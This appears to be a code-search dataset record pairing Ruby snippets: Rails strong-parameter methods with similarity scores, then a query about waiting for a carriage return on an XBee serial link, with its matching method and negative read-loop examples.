[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def valid_params_request?; end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def url_whitelist; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def permit_request_params\n params.permit(:address)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def backend_user_params\n params.permit!\n end", "def url_params\n params[:url].permit(:full)\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.6981273", "0.6783789", "0.67460483", "0.6742222", "0.67354137", "0.65934366", "0.65028495", "0.6497783", "0.64826745", "0.6479415", "0.6456823", "0.6440081", "0.63800216", "0.6376521", "0.636652", "0.6319898", "0.6300256", "0.62994003", "0.6293621", "0.6292629", "0.6291586", "0.629103", "0.6282451", "0.6243152", "0.62413", "0.6219024", "0.6213724", "0.62103724", "0.61945", "0.61786324", "0.61755824", "0.6173267", "0.6163613", "0.6153058", "0.61521065", "0.6147508", "0.61234015", "0.61168665", "0.6107466", "0.6106177", "0.6091159", "0.60817343", "0.6071238", "0.6062299", "0.6021663", "0.60182893", "0.6014239", "0.6011563", "0.60080767", "0.60080767", "0.60028875", "0.60005623", "0.59964156", "0.5993086", "0.5992319", "0.5992299", "0.59801805", "0.59676576", "0.59606016", "0.595966", "0.59591126", "0.59589803", "0.5954058", "0.5953234", "0.5944434", "0.5940526", "0.59376484", "0.59376484", "0.5935253", "0.5930846", "0.5926387", "0.59256274", "0.5917907", "0.5910841", "0.590886", "0.59086543", "0.59060425", "0.58981544", "0.5898102", "0.5896809", "0.5895416", "0.58947027", "0.58923644", "0.5887903", "0.58830196", "0.5880581", "0.5873854", "0.58697754", "0.5869004", "0.58669055", "0.5866886", "0.58664906", "0.5864619", "0.58630043", "0.5862495", "0.5861368", "0.5859712", "0.5855544", "0.58551925", "0.5851284", "0.5850602" ]
0.0
-1
Wait for CR reception
def wait_cr(tmo=nil) t = Machine.millis + tmo if tmo loop { rsp = self.gets return rsp.chomp if rsp.size > 0 raise "XBee response timeout" if t && t <= Machine.millis Machine.delay(10) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def wait_cr(tmo=nil)\n tmo += Machine.millis if tmo\n s = \"\"\n while true\n c = @wifi.getc\n return s if c == CR\n if c\n s << c\n else\n raise \"XBee-wifi response timeout #{s}\" if tmo && tmo <= Machine.millis\n Machine.delay(1)\n end\n end\n end", "def wait; end", "def wait; end", "def wait; end", "def wait_for_payload_request\n puts \"[#{@name_short}] 🔌 Please power the target now\"\n\n # Timeout for the request token starts after the first sign of life was received.\n received = @target_serial.readpartial(4096)\n Timeout.timeout(10) do\n count = 0\n\n loop do\n raise ProtocolError if received.nil?\n\n received.chars.each do |c|\n if c == \"\\u{3}\"\n count += 1\n return true if count == 3\n else\n # A normal character resets token counting.\n count = 0\n\n print c\n end\n end\n\n received = @target_serial.readpartial(4096)\n end\n end\n end", "def wait_for_rx\n sleep DATA_REFRESH_RATE + @latency\n end", "def wait(term=nil)\n\t\tbuffer = []\n\t\tlog_incr \"Waiting for response\"\n\t\t\n\t\twhile true do\n\t\t\tbuf = read(term)\n\t\t\tbuffer.push(buf)\n\t\t\t\n\t\t\t# some errors contain useful error codes,\n\t\t\t# so raise a proper error with a description\n\t\t\tif m = buf.match(/^\\+(CM[ES]) ERROR: (\\d+)$/)\n\t\t\t\tlog_then_decr \"!! Raising Gsm::Error #{$1} #{$2}\"\n\t\t\t\traise Error.new(*m.captures)\n\t\t\tend\n\t\t\n\t\t\t# some errors are not so useful :|\n\t\t\tif buf == \"ERROR\"\n\t\t\t\tlog_then_decr \"!! Raising Gsm::Error\"\n\t\t\t\traise Error\n\t\t\tend\n\t\t\n\t\t\t# most commands return OK upon success, except\n\t\t\t# for those which prompt for more data (CMGS)\n\t\t\tif (buf==\"OK\") or (buf==\">\")\n\t\t\t\tlog_decr \"=#{buffer.inspect}\"\n\t\t\t\treturn buffer\n\t\t\tend\n\t\t\n\t\t\t# some commands DO NOT respond with OK,\n\t\t\t# even when they're successful, so check\n\t\t\t# for those exceptions manually\n\t\t\tif m = buf.match(/^\\+CPIN: (.+)$/)\n\t\t\t\tlog_decr \"=#{buffer.inspect}\"\n\t\t\t\treturn buffer\n\t\t\tend\n\t\tend\n\tend", "def communication_loop\n while connected? && line = readline\n ui.log :printer, :received, line\n\n line.downcase!\n if line.starts_with?(*greetings)\n @can_send = 1\n elsif line.starts_with?(\"ok\")\n # TODO: Implement Q: parameter from \n # http://reprap.org/wiki/GCODE_buffer_multiline_proposal\n @can_send = 1\n # eg: Error:Line Number is not Last Line Number+1, Last Line:15\n # Resend:16\n elsif line.starts_with?(\"rs\", \"resend\")\n # TODO: extract line number from response.\n line = @lines.length - 1 # Last command. \n\n @send_queue.unshift(@lines[line])\n @can_send = 1\n end\n\n send_commands_from_queue\n end\n rescue => e\n puts \"Got exception in event communication thread!\"\n puts \"#{e.class}: #{e}\\n #{e.backtrace.join(\"\\n \")}\"\n disconnect\n raise(e)\n end", "def receive\n complete = \"\"\n while (t = read) != 0.chr\n if t == @char_lead_byte then\n t = read\n end\n\n attempt_to_reconnect if t.nil?\n\n complete << t\n end\n\n complete\n end", "def at_cr(cmd, tmo=nil)\n at(cmd)\n wait_cr(tmo)\n end", "def wait_for_reader\n @reader.wait if @reader\n end", "def wait_for_irc\n while @mockirc.ready?\n sleep 0.05\n end\n\n # For safety, we need to wait yet again to be sure YAIL has processed the data it read.\n # This is hacky, but it decreases random failures quite a bit\n sleep 0.1\n end", "def sync_wait\n if IO.select([sync_read], nil, nil, 20).nil?\n # timeout reading from the sync pipe.\n send_side_channel_error(\"Error syncing processes in run lock test (timeout)\")\n exit!(1)\n else\n sync_read.getc\n end\n end", "def wait\n \n # If the command has not been sent, or a response was already received. a\n # call to this method doesn't make any sense.\n raise Exception.new(\"Can't wait for response. The command was not send yet, or a response was already received.\") if @response_received == nil\n \n # Wait until a response was received from the server.\n synchronize do\n @response_received.wait_until { response != nil }\n end\n \n end", "def wait_connection; end", "def wait_connection; end", "def wait_readable_or_timeout; end", "def wait\n true\n end", "def waiting; end", "def waiting; end", "def wait_for_cmd_or_ack(cmd_or_ack)\n log \"Waiting for #{cmd_or_ack}\"\n loop do\n last_line = last_chat_line\n return get_info(last_line, cmd_or_ack) if last_line.include?(cmd_or_ack)\n sleep 1\n end\n end", "def recibe\n begin\n Thread.new do\n loop do\n response = @socket.gets.chomp\n puts \"#{response}\"\n if response.eql? '|=QUIT:'\n @socket.close\n end\n end\n end\n rescue IOError => e\n puts \"Estas desconectado\"\n @socket.close\n end\n end", "def wait_end()\n begin\n loop do\n sleep(TICK/1000.0) while (self.connected?() rescue nil)\n break\n end\n rescue Exception => e\n end\n end", "def wait\n\tend", "def wait_readable\n if evented?\n Celluloid.current_actor.wait_readable(@socket)\n else\n Kernel.select([@socket])\n end\n end", "def wait_for_pending_sends; end", "def waitForR(rpipe)\n rpipe.puts %{cat(\"\\\\n\")}\n rpipe.gets\n end", "def listen\n\t\trec = @sp.gets(sep=\"\\r\")\n\t\t@log.debug \"Rx: \" + rec\n\t\treturn rec\n\t end", "def readchar_nonblock io, &block\n begin\n done = false\n until done do\n ch = io.read_nonblock(1)\n done = block.call(ch)\n end\n rescue IO::WaitReadable\n logger.trace \"got WaitReadable exception\"\n t1 = Time.now\n IO.select([io], [io], [io])\n logger.trace \"got event, waited #{Time.now - t1}\"\n retry\n end\n end", "def wait(seq)\n nseq = nil\n while not nseq\n nseq,data = read_data(seq)\n select\n end\n end", "def get_char_non_blocking\n input_ready? ? get_char_blocking : nil\n end", "def get_char_non_blocking\n input_ready? ? get_char_blocking : nil\n end", "def wait_character_move_completion(event_id = @event_id)\n @move_route_waiting = true\n @move_route_waiting_id = event_id\n end", "def wait(timeout: nil)\n\t\t\t\tif timeout\n\t\t\t\t\tread_ready, _, _ = IO.select([@output], [], [], timeout)\n\t\t\t\t\t\n\t\t\t\t\treturn false unless read_ready and read_ready.any?\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t@signalled or @output.read(1)\n\t\t\t\t\n\t\t\t\t# Just in case that this was split across multiple processes.\n\t\t\t\t@signalled = true\n\t\t\tend", "def wait_internal\n Graphics.update\n Input.update\n if Input.triggerex?(0x43) && Input.triggerex?(0x11) # CTRL + C\n raise ConsoleInterrupt\n end\n end", "def wait_readable\n if evented?\n Celluloid.current_actor.wait_readable(self.to_io)\n else\n Kernel.select([self.to_io])\n end\n end", "def wait_for_message\r\n Fiber.yield while $game_message.busy?\r\n end", "def wait\n\t\t\t\twrapper = Async::IO::Generic.new(@input)\n\t\t\t\twrapper.read(1)\n\t\t\tensure\n\t\t\t\t# Remove the wrapper from the reactor.\n\t\t\t\twrapper.reactor = nil\n\t\t\tend", "def wait\n sleep 0.0001\n end", "def wait\n\t\t\t\t@available.wait\n\t\t\tend", "def commandRead()\n readbuff = \"#\"\n command_get = 0\n cnt = 0\n loop do\n while(Usb.available() > 0) do #何か受信があったらreadbuffに蓄える\n a = Usb.read()\n readbuff += a\n Usb.print a\n if a.to_s == \";\" then\n command_get = 1\n break\n end\n delay 20\n cnt = 0\n end #while\n\n if readbuff.length > 0 then\n cnt += 1\n if cnt > 500 then\n command_get = 1\n break\n end \n delay 20\n end \n\n if command_get==1 || readbuff==\"\" then\n break\n end\n end #loop\n\n if command_get==1 then\n command_get = 0\n if(readbuff[5]==\"/\" and readbuff[8]==\"/\" and readbuff[11]==\" \" and readbuff[14]==\":\" and readbuff[17]==\":\")then\n if(readbuff.length >= 19 )then\n year = readbuff[1,4].to_i\n mon\t = readbuff[6,2].to_i\n da\t = readbuff[9,2].to_i\n ho\t = readbuff[12,2].to_i\n min\t = readbuff[15,2].to_i\n sec\t = readbuff[18,2].to_i\n Rtc.deinit()\n #Rtc.init(-20)\t# RTC補正:10 秒毎に 20/32768 秒遅らせる\n Rtc.init() # v2.83以降:デフォルト値(-20)で補正を行う\n Rtc.setTime([year,mon,da,ho,min,sec])\n end\n year,mon,da,ho,min,sec = Rtc.getTime()\n puts \"\"\n puts year.to_s + \"/\" + zeroAdd(mon) + \"/\" + zeroAdd(da) + \" \" + zeroAdd(ho) + \":\" + zeroAdd(min) + \":\" + zeroAdd(sec)\n puts \"RTC setteing is done.\"\n else\n puts \"\"\n puts \"Illegal command:\" + readbuff\n readbuff = \"\"\n end #if\n end\nend", "def commandRead()\n readbuff = \"#\"\n command_get = 0\n cnt = 0\n loop do\n while(Usb.available() > 0) do #何か受信があったらreadbuffに蓄える\n a = Usb.read()\n readbuff += a\n Usb.print a\n if a.to_s == \";\" then\n command_get = 1\n break\n end\n delay 20\n cnt = 0\n end #while\n\n if readbuff.length > 0 then\n cnt += 1\n if cnt > 500 then\n command_get = 1\n break\n end \n delay 20\n end \n\n if command_get==1 || readbuff==\"\" then\n break\n end\n end #loop\n\n if command_get==1 then\n command_get = 0\n if(readbuff[5]==\"/\" and readbuff[8]==\"/\" and readbuff[11]==\" \" and readbuff[14]==\":\" and readbuff[17]==\":\")then\n if(readbuff.length >= 19 )then\n year = readbuff[1,4].to_i\n mon\t = readbuff[6,2].to_i\n da\t = readbuff[9,2].to_i\n ho\t = readbuff[12,2].to_i\n min\t = readbuff[15,2].to_i\n sec\t = readbuff[18,2].to_i\n Rtc.deinit()\n #Rtc.init(-20)\t# RTC補正:10 秒毎に 20/32768 秒遅らせる\n Rtc.init() # v2.83以降:デフォルト値(-20)で補正を行う\n Rtc.setTime([year,mon,da,ho,min,sec])\n end\n year,mon,da,ho,min,sec = Rtc.getTime()\n puts \"\"\n puts year.to_s + \"/\" + zeroAdd(mon) + \"/\" + zeroAdd(da) + \" \" + zeroAdd(ho) + \":\" + zeroAdd(min) + \":\" + zeroAdd(sec)\n puts \"RTC setteing is done.\"\n else\n puts \"\"\n puts \"Illegal command:\" + readbuff\n readbuff = \"\"\n end #if\n end\nend", "def wait\n loop do sleep 1 end\n end", "def wait!\n wait\n raise @error if timeout?\n @messages\n end", "def wait\n t = @ractor.take\n yield(self) if block_given?\n t\n rescue Ractor::ClosedError\n raise ErrorTerminated, \"ticker stopped\"\n end", "def wait\n 0\n end", "def wait_until_not_full; end", "def wait\n sleep WAIT_TIME unless @skip_wait\n end", "def wait_until_ready\n # this method may be left unimplemented if that is applicable\n end", "def wait_until_done\n return if !running?\n send_eof\n\n # TODO: handle case where command doesn't exit.\n start = Time.now\n @standard_output.read_until_eof(timeout)\n @standard_error.read_until_eof(timeout - (Time.now - start))\n pid, @status = Process::waitpid2(@pid)\n @pid = nil\n end", "def wait_for(pattern)\n $_api_exec_state = :wait_for\n if pattern.is_a?(Array)\n pattern = Regexp.new(pattern.join('|'))\n end\n\n (0..1000000).each do\n line = API::sync_read\n if line and line.match(pattern)\n $_api_exec_state = :none\n return\n end\n sleep 0.01\n end\nend", "def wait_action_cable_subscription\n sleep 1\n end", "def enter_at_mode\n while gets.size > 0; end # discard remain data\n Machine.delay(1000) # wait 1 second\n loop {\n self.write '+'; Machine.delay(1)\n self.write '+'; Machine.delay(1)\n self.write '+'\n Machine.delay(1000) # wait 1 second\n rsp = self.gets\n return rsp if rsp == \"OK\\r\"\n }\n end", "def wait(str='Press ENTER to continue.')\n puts\n self.warning(str)\n STDIN.gets\n end", "def monitor_start\n @rchan.seek(0, 2)\n end", "def finish\n verify_not_closed\n wait_all_sent\n end", "def wait\n continue = false\n trap \"SIGINT\" do\n puts \"Continuing...\"\n continue = true\n end\n puts \"Waiting. Press ^C to continue test...\"\n wait_until(3600) { continue }\n trap \"SIGINT\", \"DEFAULT\"\n end", "def receive\n if self.sendcmd(\"main.get_trx_status\")==\"rx\"\n return true\n else\n self.sendcmd(\"main.rx\")\n end\n if self.sendcmd(\"main.get_trx_status\")==\"rx\"\n return true\n else\n return false\n end\n end", "def wait_while\n while yield\n wait\n end\n end", "def wait\n byte = @receiver.read(1)\n raise DeadWakerError, \"can't wait on a dead waker\" unless byte == PAYLOAD\n rescue IOError, RuntimeError\n raise DeadWakerError, \"can't wait on a dead waker\"\n end", "def wait_while\n while yield\n\twait\n end\n end", "def callback_read_char\n rl_callback_read_char\n end", "def listener()\n puts \"listener() thread starting.\" if $verbose\n stuff=''\n while(not($all_done))\n $serial_port.synchronize do\n stuff=stuff+$serialport.read(999)\n end\n (thing,stuff)=stuff.split(';',2)\n if(not(stuff))\n stuff=''\n end\n if(thing) \n $queue.synchronize do\n thing=thing+';'\n puts \"Adding to queue: #{thing}\" if $verbose\n $rx_messages.push(thing)\n end\n end\n sleep(0.1)\n end\n puts \"listener() thread exiting.\" if $verbose\nend", "def wait_connection=(_arg0); end", "def receive()\r\n complete = \"\"\r\n while (t = read) != 0.chr\r\n if t == @char_lead_byte then\r\n t = read\r\n end\r\n complete << t\r\n end\r\n return complete\r\n end", "def wait_for_player\n wait_character_move_completion 0\n end", "def wait_until_ready\n # this method may be left unimplemented if that is applicable log\n end", "def wait\n self.listener.wait if self.listener\n end", "def cr()\r\n if (@_rl_term_cr)\r\n @_rl_out_stream.write(@_rl_term_cr)\r\n @_rl_last_c_pos = 0\r\n end\r\n end", "def monitor_for(options = {})\n # Loop and wait till event is detected.\n lcnt = 0\n scount = 0\n while true\n while line = @rchan.gets\n if yield(line, lcnt)\n return true\n end\n lcnt += 1\n end\n sleep 1\n if fptimer = options[:filepos]\n scount += 1\n if scount >= fptimer\n send \"get\"\n scount = 0\n end\n end\n end\n false\n end", "def wait_readable\n ::IO.select([@io], [], [])\n true\n rescue IOError\n false\n end", "def wait\n @timer_thread.join\n end", "def wait\r\n Ragweed::Wrap32::wait_for_single_object @h\r\n end", "def receive_data(data)\n @buffer += data\n\n until @buffer.empty?\n\n eol = @buffer.index(CRLF)\n \n # Include IMAP literals on the same line.\n # The format for a literal is \"{8}\\r\\n........\"\n # so the size would be at the end of what we thought was the line.\n # We then skip over that much, and try looking for the next newline.\n # (The newline after a literal is the end of the actual line,\n # there's no termination marker for literals).\n while eol && @buffer[0, eol][/\\{(\\d+)\\}\\z/]\n eol = @buffer.index(CRLF, eol + CRLF.size + $1.to_i)\n end\n\n # The current line is not yet complete, wait for more data.\n return unless eol\n\n line = @buffer.slice!(0, eol + CRLF.size)\n\n receive_response parse(line)\n end\n end", "def read_wait(timeout: nil)\n !!IO.select([io], [], [], timeout)\n end", "def start_async\n while c = @serv.accept\n Thread.start do\n begin\n @threads << Thread.current\n l = Mutex.new\n loop do\n begin\n x = Dr2.read(c, [Dr2::Types::Message,\n Dr2::Types::Error])\n Thread.start {\n begin\n @threads << Thread.current\n receive x, c, l\n ensure\n l.unlock rescue nil if l.locked?\n @threads.delete Thread.current\n end\n }\n rescue Dr2::Types::EOFException\n break\n rescue Dr2::Types::QuitException\n break\n rescue Exception\n l.synchronize { Dr2.write(c, $!) }\n end\n end\n ensure\n c.close rescue nil\n @threads.delete Thread.current\n end\n end\n end\n end", "def captureEvent(c)\n c.read\nend", "def wait_while\n while yield\n wait\n end\n end", "def wait_until_available\n return unless @locked\n\n @mutex.lock\n @mutex.unlock\n end", "def wait_until\n until yield\n\twait\n end\n end", "def read\n @io.write(?r) # Read command\n sleep(0.1) until !@io.eof?\n\n @io.readbyte\n end", "def verify_channel\n while ! self.channel\n raise EOFError if ! self.thread.alive?\n ::IO.select(nil, nil, nil, 0.10)\n end\n end", "def wait_until_available\n return unless locked?\n\n @mutex.synchronize {}\n end", "def waitfor(options) # :yield: recvdata\n time_out = @options[\"Timeout\"]\n waittime = @options[\"Waittime\"]\n fail_eof = @options[\"FailEOF\"]\n\n if options.kind_of?(Hash)\n prompt = if options.has_key?(\"Match\")\n options[\"Match\"]\n elsif options.has_key?(\"Prompt\")\n options[\"Prompt\"]\n elsif options.has_key?(\"String\")\n Regexp.new( Regexp.quote(options[\"String\"]) )\n end\n time_out = options[\"Timeout\"] if options.has_key?(\"Timeout\")\n waittime = options[\"Waittime\"] if options.has_key?(\"Waittime\")\n fail_eof = options[\"FailEOF\"] if options.has_key?(\"FailEOF\")\n else\n prompt = options\n end\n\n if time_out == false\n time_out = nil\n end\n\n line = ''\n buf = ''\n rest = ''\n sock = @ssh.transport.socket\n\n times_out1 = 10 # timeout 1s\n until prompt === line and @buf == \"\" and (@eof or (not sock.closed? and not IO::select([sock], nil, nil, waittime || 60)))\n break if (times_out1 -= 1) <= 0\n\n times_out2 = 10 # timeout 1s\n while @buf == \"\" and !@eof\n break if (times_out2 -= 1) <= 0\n \n # timeout is covered by net-ssh\n begin\n @channel.connection.process(0.1)\n rescue IOError\n @eof = true\n end\n end\n if @buf != \"\"\n c = @buf; @buf = \"\"\n @dumplog.log_dump('<', c) if @options.has_key?(\"Dump_log\")\n buf = rest + c\n rest = ''\n unless @options[\"Binmode\"]\n if pt = buf.rindex(/\\r\\z/no)\n buf = buf[0 ... pt]\n rest = buf[pt .. -1]\n end\n buf.gsub!(/#{EOL}/no, \"\\n\")\n end\n @log.print(buf) if @options.has_key?(\"Output_log\")\n line += buf\n yield buf if block_given?\n elsif @eof # End of file 